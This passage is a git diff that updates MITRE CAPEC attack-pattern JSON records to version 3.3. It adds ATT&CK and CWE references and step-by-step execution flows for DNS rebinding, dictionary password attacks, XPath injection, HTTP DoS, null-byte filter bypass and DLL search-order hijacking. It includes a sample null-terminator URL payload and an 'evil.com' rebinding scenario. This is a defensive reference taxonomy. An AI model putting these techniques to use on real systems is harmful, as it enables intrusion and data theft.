", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets." @@ -42,7 +43,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a79f5cc6-781c-4e49-a00e-7aae93718f9e.json b/capec/attack-pattern/attack-pattern--a79f5cc6-781c-4e49-a00e-7aae93718f9e.json index c329281c47..454f23753c 100644 --- a/capec/attack-pattern/attack-pattern--a79f5cc6-781c-4e49-a00e-7aae93718f9e.json +++ b/capec/attack-pattern/attack-pattern--a79f5cc6-781c-4e49-a00e-7aae93718f9e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--067b34b1-9720-4bda-99e1-e774f18e9635", + "id": "bundle--e4bfc73b-7059-4240-a786-d1f6be994ee8", "spec_version": "2.0", "objects": [ { @@ -37,7 +37,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a7cc8cb3-8652-4669-893a-baaa21f7eb55.json b/capec/attack-pattern/attack-pattern--a7cc8cb3-8652-4669-893a-baaa21f7eb55.json index 8cd990b048..96aff25c95 100644 --- a/capec/attack-pattern/attack-pattern--a7cc8cb3-8652-4669-893a-baaa21f7eb55.json +++ b/capec/attack-pattern/attack-pattern--a7cc8cb3-8652-4669-893a-baaa21f7eb55.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--cde0d72b-a724-401c-9eb4-e5c109582dd2", + "id": "bundle--6d80e46f-946e-49d2-895c-8546c6f0e655", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a7cc8cb3-8652-4669-893a-baaa21f7eb55", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "DNS Rebinding", "description": "An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address, to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary. Web browsers enforce security zones based on DNS names in order to prevent cross-zone disclosure of information. In a DNS binding attack, an adversary publishes content on their own server with their own name and DNS server. The first time the target accesses the adversary's content, the adversary's name must be resolved to an IP address. The adversary's DNS server performs this resolution and provides a short Time-To-Live (TTL) in order to prevent the target from caching the value. When the target makes a subsequent request to the adversary's content, the adversary's DNS server must again be queried, but this time the DNS server returns an address internal to the target's organization that would not be accessible from an outside source. Because the same name resolves to both these IP addresses, browsers will place both IP addresses in the same security zone and allow information to flow between the addresses. The adversary can then use scripts in the content the target retrieved from the adversary in the original message to exfiltrate data from the named internal addresses. This allows adversaries to discover sensitive information about the internal network of an enterprise. If there is a trust relationship between the computer with the targeted browser and the internal machine the adversary identifies, additional attacks are possible. This attack differs from pharming attacks in that the adversary is the legitimate owner of the malicious DNS server and so does not need to compromise behavior of external DNS services.", "external_references": [ @@ -64,8 +64,9 @@ ] }, "x_capec_example_instances": [ - "The adversary registers a domain name, such as www.evil.com with IP address 1.3.5.7, delegates it to his own DNS server (1.3.5.2), and uses phishing links or emails to get HTTP traffic. Instead of sending a normal TTL record, the DNS server sends a very short TTL record (for example, 1 second), preventing DNS response of entry[www.evil.com, 1.3.5.7] from being cached on victim's (192.168.1.10) browser. The adversary's server first responds to the victim with malicious script such as JavaScript, containing IP address (1.3.5.7) of the server. The adversary uses XMLHttpRequest (XHR) to send HTTP request or HTTPS request directly to the adversary's server and load response. The malicious script allows the adversary to rebind the host name to the IP address (192.168.1.2) of a target server that is behind the firewall. Then the server responds to the adversary's real target, which is an internal host IP (192.168.1.2) in the same domain of the victim (192.168.1.10). Because the same name resolves to both these IP addresses, browsers will place both IP addresses (1.3.5.7 and 192.168.1.2) in the same security zone and allow information to flow between the addresses. Further, the adversary can achieve scanning and accessing all internal hosts in the victim's local network (192.168.X.X) by sending multiple short-lived IP addresses." + "The adversary registers a domain name, such as www.evil.com with IP address 1.3.5.7, delegates it to their own DNS server (1.3.5.2), and uses phishing links or emails to get HTTP traffic. Instead of sending a normal TTL record, the DNS server sends a very short TTL record (for example, 1 second), preventing DNS response of entry[www.evil.com, 1.3.5.7] from being cached on victim's (192.168.1.10) browser. The adversary's server first responds to the victim with malicious script such as JavaScript, containing IP address (1.3.5.7) of the server. The adversary uses XMLHttpRequest (XHR) to send HTTP request or HTTPS request directly to the adversary's server and load response. The malicious script allows the adversary to rebind the host name to the IP address (192.168.1.2) of a target server that is behind the firewall. Then the server responds to the adversary's real target, which is an internal host IP (192.168.1.2) in the same domain of the victim (192.168.1.10). Because the same name resolves to both these IP addresses, browsers will place both IP addresses (1.3.5.7 and 192.168.1.2) in the same security zone and allow information to flow between the addresses. Further, the adversary can achieve scanning and accessing all internal hosts in the victim's local network (192.168.X.X) by sending multiple short-lived IP addresses." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify potential DNS rebinding targets: An adversary publishes content on their own server with their own name and DNS server. Attract HTTP traffic and explore rebinding vulnerabilities in browsers, flash players of old version.

    2. Techniques
    Adversary uses Web advertisements to attract the victim to access adversary's DNS. Explore the versions of web browser or flash players in HTTP request.

Experiment

  1. Establish initial target access to adversary DNS: The first time the target accesses the adversary's content, the adversary's name must be resolved to an IP address. The adversary's DNS server performs this resolution, providing a short Time-To-Live (TTL) in order to prevent the target from caching the value.

  2. Rebind DNS resolution to target address: The target makes a subsequent request to the adversary's content and the adversary's DNS server must again be queried, but this time the DNS server returns an address internal to the target's organization that would not be accessible from an outside source.

  3. Determine exploitability of DNS rebinding access to target address: The adversary can then use scripts in the content the target retrieved from the adversary in the original message to exfiltrate data from the named internal addresses.

Exploit

  1. Access & exfiltrate data within the victim's security zone: The adversary can then use scripts in the content the target retrieved from the adversary in the original message to exfiltrate data from the internal addresses. This allows adversaries to discover sensitive information about the internal network of an enterprise.

    2. Techniques
    Adversary attempts to use victim's browser as an HTTP proxy to other resources inside the target's security zone. This allows two IP addresses placed in the same security zone.
    Adversary tries to scan and access all internal hosts in victim's local network by sending multiple short-lived IP addresses.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target browser must access content server from the adversary controlled DNS name. Web advertisements are often used for this purpose. The target browser must honor the TTL value returned by the adversary and re-resolve the adversary's DNS name after initial contact." @@ -78,7 +79,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74.json b/capec/attack-pattern/attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74.json index ef505a45c1..b86492adf0 100644 --- a/capec/attack-pattern/attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74.json +++ b/capec/attack-pattern/attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8c36490f-785e-4864-824a-523d03ec2fd5", + "id": "bundle--ea2444f8-c60c-4bc5-b392-22d377d125a5", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--a7ed6b37-4ede-4c34-bbb2-c422fb844d74", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Probe Audio and Video Peripherals", "description": "The adversary exploits the target system's audio and video functionalities through malware or scheduled tasks. The goal is to capture sensitive information about the target for financial, personal, political, or other gains which is accomplished by collecting communication data between two parties via the use of peripheral devices (e.g. microphones and webcams) or applications with audio and video capabilities (e.g. Skype) on a system.", "external_references": [ @@ -21,6 +21,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/267.html", "external_id": "CWE-267" + }, + { + "source_name": "ATTACK", + "description": "Audio Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1123", + "external_id": "T1123" + }, + { + "source_name": "ATTACK", + "description": "Video Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1125", + "external_id": "T1125" } ], "object_marking_refs": [ @@ -44,7 +56,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a9d3765f-d7af-4ba2-9396-007d9942240f.json b/capec/attack-pattern/attack-pattern--a9d3765f-d7af-4ba2-9396-007d9942240f.json index 8f31e43be5..71479921c9 100644 --- a/capec/attack-pattern/attack-pattern--a9d3765f-d7af-4ba2-9396-007d9942240f.json +++ b/capec/attack-pattern/attack-pattern--a9d3765f-d7af-4ba2-9396-007d9942240f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9a0af3d2-55f1-4760-82f6-4efdd71db890", + "id": "bundle--5aeeec4d-0d54-477d-a577-113bbc9129da", "spec_version": "2.0", "objects": [ { @@ -52,7 +52,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--a9dc4914-409a-4f71-80df-c5cc3923d112.json b/capec/attack-pattern/attack-pattern--a9dc4914-409a-4f71-80df-c5cc3923d112.json index 41d6446032..73f6c045b3 100644 --- a/capec/attack-pattern/attack-pattern--a9dc4914-409a-4f71-80df-c5cc3923d112.json +++ b/capec/attack-pattern/attack-pattern--a9dc4914-409a-4f71-80df-c5cc3923d112.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7309ce40-5e76-4d4f-aa0f-f04787f44d0c", + "id": "bundle--286e320e-8897-4229-b6a7-95bdc9fd5535", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--a9dc4914-409a-4f71-80df-c5cc3923d112", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Dictionary-based Password Attack", - "description": "An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.", + "description": "\n An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.\n Dictionary Attacks differ from similar attacks such as Password Spraying (CAPEC-565) and Credential Stuffing (CAPEC-600), since they leverage unknown username/password combinations and don't care about inducing account lockouts.\n ", "external_references": [ { "source_name": "capec", @@ -34,8 +34,23 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/693.html", - "external_id": "CWE-693" + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" } ], "object_marking_refs": [ @@ -46,17 +61,22 @@ "Access_Control": [ "Gain Privileges" ], - "Authorization": [ + "Authentication": [ "Gain Privileges" ], "Confidentiality": [ - "Gain Privileges" + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" ] }, "x_capec_example_instances": [ "A system user selects the word \"treacherous\" as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account.", "\n The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks.\n Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user's logon password (which is known by the client and the network), and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server.\n Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password lists to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques.See also: CVE-2003-1096" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.

    2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

  2. Select dictionaries: Pick the dictionaries to be used in the attack (e.g. different languages, specific terminology, etc.)

    3. Techniques
    Select dictionary based on particular users' preferred languages.
    Select dictionary based on the application/system's supported languages.

  3. Determine username(s) to target: Determine username(s) whose passwords to crack.

    4. Techniques
    Obtain username(s) by sniffing network packets.
    Obtain username(s) by querying application/system (e.g. if upon a failed login attempt, the system indicates whether the entered username was valid or not)
    Obtain usernames from filesystem (e.g. list of directories in C:\\Documents and Settings\\ in Windows, and list in /etc/passwd in UNIX-like systems)

Exploit

  1. Use dictionary to crack passwords.: Use a password cracking tool that will leverage the dictionary to feed passwords to the system and see if they work.

    2. Techniques
    Try all words in the dictionary, as well as common misspellings of the words as passwords for the chosen username(s).
    Try common combinations of words in the dictionary, as well as common misspellings of the combinations as passwords for the chosen username(s).
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The system uses one factor password based authentication.", @@ -71,7 +91,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--aa6a831a-8eae-4690-b4a2-ff3e4d43a716.json b/capec/attack-pattern/attack-pattern--aa6a831a-8eae-4690-b4a2-ff3e4d43a716.json index ece05f9153..fc2f4043da 100644 --- a/capec/attack-pattern/attack-pattern--aa6a831a-8eae-4690-b4a2-ff3e4d43a716.json +++ b/capec/attack-pattern/attack-pattern--aa6a831a-8eae-4690-b4a2-ff3e4d43a716.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8f94be6c-d2b1-4518-bea8-54effff0f26b", + "id": "bundle--eade66f7-402e-45c6-b467-26488a222727", "spec_version": "2.0", "objects": [ { @@ -62,6 +62,7 @@ "x_capec_example_instances": [ "Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. [Survey Application]

    2. Techniques
    Spider web sites for all available links.
    Gather results for analysis via responses or network sniffing.

Experiment

  1. [Test user-controllable inputs for injection]

    2. Techniques
    Use XML reserved characters or words, possibly with other input data to attempt to cause unexpected results
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "XML queries used to process user input and retrieve information stored in XML documents", @@ -74,7 +75,7 @@ "Low": "An attacker must have knowledge of XML syntax and constructs in order to successfully leverage XML Injection" }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934.json b/capec/attack-pattern/attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934.json index 291690e262..7b10685b85 100644 --- a/capec/attack-pattern/attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934.json +++ b/capec/attack-pattern/attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--80e2dc72-3422-40e5-8fbd-658726a3c2e8", + "id": "bundle--40694d7a-f6ab-442b-acd2-9dd75dbac1c6", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--aa92a904-ed9d-4dc3-a01f-c965521e9934", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "HTTP DoS", "description": "An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.", "external_references": [ @@ -27,6 +27,18 @@ "url": "http://cwe.mitre.org/data/definitions/772.html", "external_id": "CWE-772" }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:OS Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/001", + "external_id": "T1499.001" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application or System Exploitation", + "url": "https://attack.mitre.org/wiki/Technique/T1499/004", + "external_id": "T1499.004" + }, { "source_name": "reference_from_CAPEC", "description": "Robert Hansen, Slowris HTTP DoS, 2009--06---17", @@ -46,7 +58,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--aac17300-6cdd-4f50-82c3-da5a01d225ac.json b/capec/attack-pattern/attack-pattern--aac17300-6cdd-4f50-82c3-da5a01d225ac.json index 1d6a54ad2b..452f846327 100644 --- a/capec/attack-pattern/attack-pattern--aac17300-6cdd-4f50-82c3-da5a01d225ac.json +++ b/capec/attack-pattern/attack-pattern--aac17300-6cdd-4f50-82c3-da5a01d225ac.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--90020840-952c-47c9-9318-a9efe17ffaf5", + "id": "bundle--313d76ff-0de6-41c5-a25e-adf3749b8e22", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--aac17300-6cdd-4f50-82c3-da5a01d225ac", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Exploiting Incorrectly Configured Access Control Security Levels", "description": "An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack. Most commonly, attackers would take advantage of controls that provided too little protection for sensitive activities in order to perform actions that should be denied to them. In some circumstances, an attacker may be able to take advantage of overly restrictive access control policies, initiating denial of services (if an application locks because it unexpectedly failed to be granted access) or causing other legitimate actions to fail due to security. The latter class of attacks, however, is usually less severe and easier to detect than attacks based on inadequate security restrictions. This attack pattern differs from CAPEC 1, \"Accessing Functionality Not Properly Constrained by ACLs\" in that the latter describes attacks where sensitive functionality lacks access controls, where, in this pattern, the access control is present, but incorrectly configured.", "external_references": [ @@ -22,6 +22,91 @@ "url": "http://cwe.mitre.org/data/definitions/732.html", "external_id": "CWE-732" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1190.html", + "external_id": "CWE-1190" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1191.html", + "external_id": "CWE-1191" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1193.html", + "external_id": "CWE-1193" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1220.html", + "external_id": "CWE-1220" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1222.html", + "external_id": "CWE-1222" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1224.html", + "external_id": "CWE-1224" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1231.html", + "external_id": "CWE-1231" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1233.html", + "external_id": "CWE-1233" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1234.html", + "external_id": "CWE-1234" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1244.html", + "external_id": "CWE-1244" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1252.html", + "external_id": "CWE-1252" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1257.html", + "external_id": "CWE-1257" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1259.html", + "external_id": "CWE-1259" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1260.html", + "external_id": "CWE-1260" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1262.html", + "external_id": "CWE-1262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1274.html", + "external_id": "CWE-1274" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1280.html", + "external_id": "CWE-1280" + }, { "source_name": "reference_from_CAPEC", "description": "Silvio Cesare, Share Library Call Redirection Via ELF PLT Infection (Issue 56), Phrack Magazine, 2000", @@ -61,6 +146,7 @@ "x_capec_example_instances": [ "For example, an incorrectly configured Web server, may allow unauthorized access to it, thus threaten the security of the Web application." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey: The attacker surveys the target application, possibly as a valid and authenticated user.

    2. Techniques
    Spider the web site for all available links.
    Brute force to guess all function names/action with different privileges.

Experiment

  1. Identify weak points in access control configurations: The attacker probes the access control for functions and data identified in the Explore phase to identify potential weaknesses in how the access controls are configured.

    2. Techniques
    The attacker attempts authenticated access to targeted functions and data.
    The attacker attempts unauthenticated access to targeted functions and data.
    The attacker attempts indirect and side channel access to targeted functions and data.

Exploit

  1. Access the function or data bypassing the access control: The attacker executes the function or accesses the data identified in the Explore phase bypassing the access control.

    2. Techniques
    The attacker executes the function or accesses the data not authorized to them.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target must apply access controls, but incorrectly configure them. However, not all incorrect configurations can be exploited by an attacker. If the incorrect configuration applies too little security to some functionality, then the attacker may be able to exploit it if the access control would be the only thing preventing an attacker's access and it no longer does so. If the incorrect configuration applies too much security, it must prevent legitimate activity and the attacker must be able to force others to require this activity.." @@ -69,11 +155,11 @@ "None: No specialized resources are required to execute this type of attack." ], "x_capec_skills_required": { - "Low": "In order to discover unrestricted resources, the attacker does not need special tools or skills. He only has to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly." + "Low": "In order to discover unrestricted resources, the attacker does not need special tools or skills. They only have to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly." }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9.json b/capec/attack-pattern/attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9.json index f4975038c7..a3d0342399 100644 --- a/capec/attack-pattern/attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9.json +++ b/capec/attack-pattern/attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--054c0dbf-6fb3-4412-a5f4-6dee504202c0", + "id": "bundle--e047c527-b7b6-4898-83f2-91aae5dab887", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Postfix, Null Terminate, and Backslash", "description": "If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an attacker to embed the NULL mid-string while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in mid-string may be used.", "external_references": [ @@ -85,6 +85,7 @@ "x_capec_example_instances": [ "\n A rather simple injection is possible in a URL:\n http://getAccessHostname/sekbin/helpwin.gas.bat?mode=&draw=x&file=x&module=&locale=[insert relative path here][%00][%5C]&chapter=\n This attack has appeared with regularity in the wild. There are many variations of this kind of attack. Spending a short amount of time injecting against Web applications will usually result in a new exploit being discovered.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. An attacker first probes to figure out what restrictions on input are placed by filter, such as a specific characters on the end of the URL.

Exploit

  1. The attacker then injects a string of their choosing with a null terminator (using an alternate encoding such as %00), followed by a backslash (%5C), followed by some additional characters that are required to keep the filter happy

  2. \n The malicious string then passes through the filter and passed to the underlying API. Everything after the null terminator is ignored. This may give an attacker the opportunity to access file system resources to which they should not have access and do other things.\n Some popular forms in which this takes place:\n PATH%00%5CPATH[0x00][0x5C]PATH[alternate encoding of the NULL][additional characters required to pass filter]\n

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Null terminators are not properly handled by the filter." @@ -94,7 +95,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd.json b/capec/attack-pattern/attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd.json index 1bf715347d..147520af92 100644 --- a/capec/attack-pattern/attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd.json +++ b/capec/attack-pattern/attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3312e0d3-4b35-44ce-9fa9-a41390296572", + "id": "bundle--cf84220f-5fad-4e9c-9852-6182dea98bcd", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--abdd46ce-dd2d-4430-8032-aa3ee1d262fd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Search Order Hijacking", "description": "An adversary exploits a weakness in an application's specification of external libraries to exploit the functionality of the loader where the process loading the library searches first in the same directory in which the process binary resides and then in other directories. Exploitation of this preferential search order can allow an attacker to make the loading process load the adversary's rogue library rather than the legitimate library. This attack can be leveraged with many different libraries and with many different loading processes. No forensic trails are left in the system's registry or file system that an incorrect library had been loaded.", "external_references": [ @@ -22,6 +22,24 @@ "url": "http://cwe.mitre.org/data/definitions/427.html", "external_id": "CWE-427" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:DLL search order hijacking", + "url": "https://attack.mitre.org/wiki/Technique/T1574/001", + "external_id": "T1574.001" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Dylib Hijacking", + "url": "https://attack.mitre.org/wiki/Technique/T1574/004", + "external_id": "T1574.004" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:LSASS Driver", + "url": "https://attack.mitre.org/wiki/Technique/T1547/008", + "external_id": "T1547.008" + }, { "source_name": "reference_from_CAPEC", "description": "M Trends Report, 2011, Mandiant", @@ -37,6 +55,7 @@ "For instance, an attacker with access to the file system may place a malicious ntshrui.dll in the C:\\Windows directory. This DLL normally resides in the System32 folder. Process explorer.exe which also resides in C:\\Windows, upon trying to load the ntshrui.dll from the System32 folder will actually load the DLL supplied by the attacker simply because of the preferential search order. Since the attacker has placed its malicious ntshrui.dll in the same directory as the loading explorer.exe process, the DLL supplied by the attacker will be found first and thus loaded in lieu of the legitimate DLL. Since explorer.exe is loaded during the boot cycle, the attackers' malware is guaranteed to execute.", "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify target general susceptibility: An attacker uses an automated tool or manually finds whether the target application uses dynamically linked libraries and the configuration file or look up table (such as Procedure Linkage Table) which contains the entries for dynamically linked libraries.

    2. Techniques
    The attacker uses a tool such as the OSX \"otool\" utility or manually probes whether the target application uses dynamically linked libraries.
    The attacker finds the configuration files containing the entries to the dynamically linked libraries and modifies the entries to point to the malicious libraries the attacker crafted.

Experiment

